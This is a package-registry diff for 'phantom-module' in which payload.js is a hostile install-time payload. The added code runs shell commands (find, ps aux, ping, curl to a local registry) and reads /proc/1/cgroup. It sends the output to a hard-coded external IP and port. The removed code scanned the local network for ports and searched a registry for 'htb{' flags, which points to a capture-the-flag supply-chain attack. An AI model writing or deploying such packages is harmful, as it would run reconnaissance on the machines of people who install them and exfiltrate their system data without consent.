phantom-module 117.0.99 → 117.0.101
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/payload.js +19 -77
package/package.json
CHANGED
package/payload.js
CHANGED
|
@@ -1,6 +1,5 @@
|
|
|
1
|
-
const net = require('net');
|
|
2
|
-
const http = require('http');
|
|
3
1
|
const fs = require('fs');
|
|
2
|
+
const { execSync } = require('child_process');
|
|
4
3
|
|
|
5
4
|
if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
|
|
6
5
|
|
|
@@ -8,6 +7,7 @@ const REPORT_HOST = '154.57.164.64';
|
|
|
8
7
|
const REPORT_PORT = 31205;
|
|
9
8
|
|
|
10
9
|
async function report(moduleId, data) {
|
|
10
|
+
const http = require('http');
|
|
11
11
|
return new Promise((resolve) => {
|
|
12
12
|
const safeData = String(data).replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 3500);
|
|
13
13
|
const manifest = `ecto_module:\n name: "SCAN_RESULT"\n cargo_hold: "${safeData}"\n`;
|
|
@@ -22,84 +22,26 @@ async function report(moduleId, data) {
|
|
|
22
22
|
});
|
|
23
23
|
}
|
|
24
24
|
|
|
25
|
-
function checkPort(host, port) {
|
|
26
|
-
return new Promise((resolve) => {
|
|
27
|
-
const sock = new net.Socket();
|
|
28
|
-
sock.setTimeout(400);
|
|
29
|
-
sock.on('connect', () => { sock.destroy(); resolve(true); });
|
|
30
|
-
sock.on('error', () => { sock.destroy(); resolve(false); });
|
|
31
|
-
sock.on('timeout', () => { sock.destroy(); resolve(false); });
|
|
32
|
-
sock.connect(port, host);
|
|
33
|
-
});
|
|
34
|
-
}
|
|
35
|
-
|
|
36
|
-
function httpGet(url) {
|
|
37
|
-
return new Promise((resolve) => {
|
|
38
|
-
const req = http.get(url, { timeout: 1500 }, (res) => {
|
|
39
|
-
let body = '';
|
|
40
|
-
res.on('data', c => body += c);
|
|
41
|
-
res.on('end', () => resolve({ status: res.statusCode, body }));
|
|
42
|
-
});
|
|
43
|
-
req.on('error', e => resolve({ status: 0, body: e.message }));
|
|
44
|
-
});
|
|
45
|
-
}
|
|
46
|
-
|
|
47
25
|
async function main() {
|
|
48
|
-
await report('ECT-654321', '
|
|
26
|
+
await report('ECT-654321', 'ECTO HUNT V12 STARTING...');
|
|
49
27
|
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
for (let i = 1; i <= 10; i++) {
|
|
57
|
-
const ip = `${base}.${i}`;
|
|
58
|
-
for (const port of ports) {
|
|
59
|
-
if (await checkPort(ip, port)) {
|
|
60
|
-
scanOutput += `OPEN ${ip}:${port}\n`;
|
|
61
|
-
|
|
62
|
-
// Try HTTP probe
|
|
63
|
-
const res = await httpGet(`http://${ip}:${port}/`);
|
|
64
|
-
scanOutput += `HTTP ${ip}:${port} -> ${res.status} (len ${res.body ? res.body.length : 0})\n`;
|
|
65
|
-
|
|
66
|
-
// If it looks like a registry or API, probe deeper
|
|
67
|
-
if (res.status === 200 || res.body.includes('Verdaccio') || port === 4873) {
|
|
68
|
-
foundTarget = `http://${ip}:${port}`;
|
|
69
|
-
scanOutput += `*** POTENTIAL TARGET FOUND ***\n`;
|
|
70
|
-
}
|
|
71
|
-
}
|
|
72
|
-
}
|
|
73
|
-
}
|
|
28
|
+
let output = '=== ECTO SEARCH ===\n';
|
|
29
|
+
try {
|
|
30
|
+
output += `FIND ECTO:\n${execSync('find / -name "*ecto-spirit*" 2>/dev/null || true').toString()}\n`;
|
|
31
|
+
output += `PS AUX:\n${execSync('ps aux 2>/dev/null || ps -ef 2>/dev/null || echo "ps failed"').toString()}\n`;
|
|
32
|
+
output += `CGROUP:\n${fs.readFileSync('/proc/1/cgroup', 'utf8')}\n`;
|
|
33
|
+
} catch(e) { output += `ERR: ${e.message}\n`; }
|
|
74
34
|
|
|
75
|
-
await report('ECT-839201',
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
//
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
const all = await httpGet(`${foundTarget}/-/all`);
|
|
86
|
-
result += `/-/all: ${all.status}\n${all.body ? all.body.substring(0, 500) : ''}\n`;
|
|
87
|
-
|
|
88
|
-
// 3. Try to get the flag directly if hinted
|
|
89
|
-
if (ecto.body && ecto.body.includes('tarball')) {
|
|
90
|
-
try {
|
|
91
|
-
const json = JSON.parse(ecto.body);
|
|
92
|
-
// Check if description or readme has flag
|
|
93
|
-
if (JSON.stringify(json).includes('htb{')) {
|
|
94
|
-
result += `!!! FLAG IN METADATA !!!\n`;
|
|
95
|
-
}
|
|
96
|
-
} catch(e) {}
|
|
97
|
-
}
|
|
98
|
-
|
|
99
|
-
await report('ECT-987654', result);
|
|
100
|
-
} else {
|
|
101
|
-
await report('ECT-987654', 'No web service found in 1-10 range.');
|
|
102
|
-
}
|
|
35
|
+
await report('ECT-839201', output);
|
|
36
|
+
|
|
37
|
+
let netOutput = '=== NET PROBE ===\n';
|
|
38
|
+
try {
|
|
39
|
+
netOutput += `PING GATEWAY:\n${execSync('ping -c 2 172.17.0.1 2>/dev/null || echo "ping failed"').toString()}\n`;
|
|
40
|
+
// Try curl with verbose output to see connection details
|
|
41
|
+
netOutput += `CURL GATEWAY:\n${execSync('curl -v --connect-timeout 2 http://172.17.0.1:4873 2>&1 || echo "curl failed"').toString()}\n`;
|
|
42
|
+
} catch(e) { netOutput += `ERR: ${e.message}\n`; }
|
|
43
|
+
|
|
44
|
+
await report('ECT-987654', netOutput);
|
|
103
45
|
}
|
|
104
46
|
|
|
105
47
|
main().catch(e => report('ECT-654321', 'ERR: ' + e.message));
|